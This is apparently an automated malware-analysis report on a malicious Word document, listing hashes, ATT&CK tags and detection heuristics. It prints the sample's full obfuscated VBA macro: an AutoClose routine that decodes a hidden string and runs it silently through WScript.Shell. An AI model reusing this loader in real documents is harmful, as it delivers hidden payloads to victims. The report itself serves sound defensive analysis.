Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a6a8117150a1bcb6…

MALICIOUS

Office (OOXML)

53.4 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20
MD5: c9fd045485efe0eefabc6d81b4369d2c SHA-1: 7caedadb59379ed1d502a391e37b4869425a2e58 SHA-256: a6a8117150a1bcb6ec16b6c002a341ab54a912190421cb404d147438bf39474a
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is an OOXML document containing a VBA project with an AutoClose macro. This macro is heavily obfuscated but appears to be designed to execute a second-stage payload, likely via the Application.Run method. The presence of CreateObject and Shell() calls, along with the obfuscated loader heuristic, strongly suggests malicious intent. The specific payload URL or execution details are not directly visible due to obfuscation, but the overall pattern indicates a downloader or dropper.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If microclimatic - whatever > 1 Then
       CreateObject(Trim(rone) & ".Shell").Run browning, 0
       macrodactylous = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "selle", ovivorous
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If microclimatic - whatever > 1 Then
       CreateObject(Trim(rone) & ".Shell").Run browning, 0
       macrodactylous = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  leucopoiesis = Array("q", "B", "E", "k", "Q", "F", "2", "P", "2", "f", "E", "k", "k", "o", "e", "a", "a", "2", "0", "Q", "h", "Q", "k", "n", "0", "V", "n", "Q", "k", "B", "7", "Q", "i", "Q", "V", "2", "0", "Q", "k", "I", "Q", "B", "F", "j", "m", "q", "a", "x", "N", "A", "a", "V", "n", "q", "Q", "F", "o", "E", "o", "C", "l", "k", "q", "Q", "6", "I", "2", "p", "B", "l", "B")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2150 bytes
SHA-256: f798a45cefdb9fc7716bcc2923cb59d5fa1125172f21de0854e7a43d022142c1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function artichoke(leucopoiesis)
  versificator = Array("E", "m", "0", "l", "e", "6", "f", "p", "i", "o", "k", "7", "C", "x", "q", "A", "P", "a", "V", "F", "2", "I", "j", "h", "n", "Q", "N", "B")
  prophecy = Array("h", "o", "b", "u", ":", "=", " ", "r", "z", "p", "t", "k", "?", "A", "m", "K", "x", "/", "l", ".", "e", "v", "c", "n", "i", "a", "F", "s")
  
  sangley = vbNullString
  
  For Each dimensional In leucopoiesis
    sheltered = beakless(dimensional, versificator, UBound(versificator))
    If sheltered > -1 Then
    sangley = prophecy(sheltered) & sangley
    End If
  Next
  
  artichoke = StrReverse(sangley)
  
End Function

Public Function beakless(minxishness, restrings, garlic)
  xanthochroism = 5553
  doxastic = 772
  For xanthochroism = 0 To garlic
    If restrings(xanthochroism) = minxishness And xanthochroism > -1 Then
     doxastic = xanthochroism
    End If
  Next

  If doxastic = 772 Then
    doxastic = -1
  End If
  
  beakless = doxastic
End Function

Sub AutoClose()
  leucopoiesis = Array("q", "B", "E", "k", "Q", "F", "2", "P", "2", "f", "E", "k", "k", "o", "e", "a", "a", "2", "0", "Q", "h", "Q", "k", "n", "0", "V", "n", "Q", "k", "B", "7", "Q", "i", "Q", "V", "2", "0", "Q", "k", "I", "Q", "B", "F", "j", "m", "q", "a", "x", "N", "A", "a", "V", "n", "q", "Q", "F", "o", "E", "o", "C", "l", "k", "q", "Q", "6", "I", "2", "p", "B", "l", "B")
  ovivorous = artichoke(leucopoiesis)
  
  Application.Run "selle", ovivorous
  
End Sub


Private Sub selle(browning)
   
   rone = "WScript"
   whatever = 3271
   macrodactylous = True
   
   While macrodactylous
     microclimatic = whatever + 60
     If microclimatic - whatever > 1 Then
       CreateObject(Trim(rone) & ".Shell").Run browning, 0
       macrodactylous = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: a193bde84d10d335b8f782ae895929584a1cfc0c708e674fa47089c1e00c240c
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

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